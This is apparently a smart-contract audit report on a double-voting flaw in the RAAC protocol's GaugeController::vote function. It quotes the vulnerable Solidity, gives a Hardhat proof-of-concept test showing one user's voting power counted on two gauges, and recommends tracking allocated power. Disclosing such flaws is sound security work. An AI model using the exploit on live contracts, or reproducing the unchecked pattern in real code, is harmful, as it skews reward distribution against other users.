Summary
The RAAC protocol's GaugeController::vote function allows users to vote on the weights of gauges, which determine how RAAC inflation rewards are distributed. However, the current implementation lacks a mechanism to prevent users from reusing their voting power across multiple gauges. This enables double voting, where a user can allocate their full voting power to multiple gauges simultaneously, skewing the reward distribution and undermining the fairness of the system.
Vulnerability Details
Users can vote on the weights attributed to each guage via GaugeController::vote. These weights are used to determine how much rewards are distributed to each gauge and users who have staked to a particular gauge get RAAC emissions from the gauge they are staked in.
* @notice Core voting functionality for gauge weights
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
The following exploit occurs because there is no check to ensure that a user that has previously voted cannot vote again. As a result, users can use the same voting power to vote for multiple gauges which allows double voting to occur.
Proof Of Code (POC)
This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:
describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600;
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0,
0
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1,
0
);
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});
The relevant test is below:
it("user can use same voting power to vote on multiple gauges", async () => {
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
const user1RAACvotes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1RAACvotes);
await gaugeController
.connect(user1)
.vote(await rwaGauge.getAddress(), 5000);
const user1RWAvotes = await gaugeController.userGaugeVotes(
user1.address,
await rwaGauge.getAddress()
);
console.log("User 1 votes", user1RWAvotes);
assert(user1RAACvotes == user1RWAvotes);
});
Impact
The vulnerability allows users to exploit the voting mechanism by reusing their voting power across multiple gauges. This undermines the fairness and integrity of the gauge weight distribution system, as users can disproportionately influence the allocation of RAAC emissions. Specifically:
Double Voting: A user can vote on multiple gauges using the same voting power, effectively diluting the voting power of other participants and skewing the distribution of rewards.
Unfair Advantage: Users with significant veRAAC holdings can dominate the voting process, leading to centralization of power and reduced decentralization in the protocol.
Inaccurate Reward Distribution: The weights calculated based on these votes will not accurately reflect the community's preferences, leading to misallocation of RAAC inflation and potentially harming the protocol's long-term sustainability.
Tools Used
Manual Review, Hardhat
Recommendations
Introduce a mechanism to track the total voting power a user has allocated across all gauges. This ensures that a user cannot exceed their available voting power when voting on multiple gauges.
Modify the vote function to check whether the user has sufficient remaining voting power before allowing a new vote.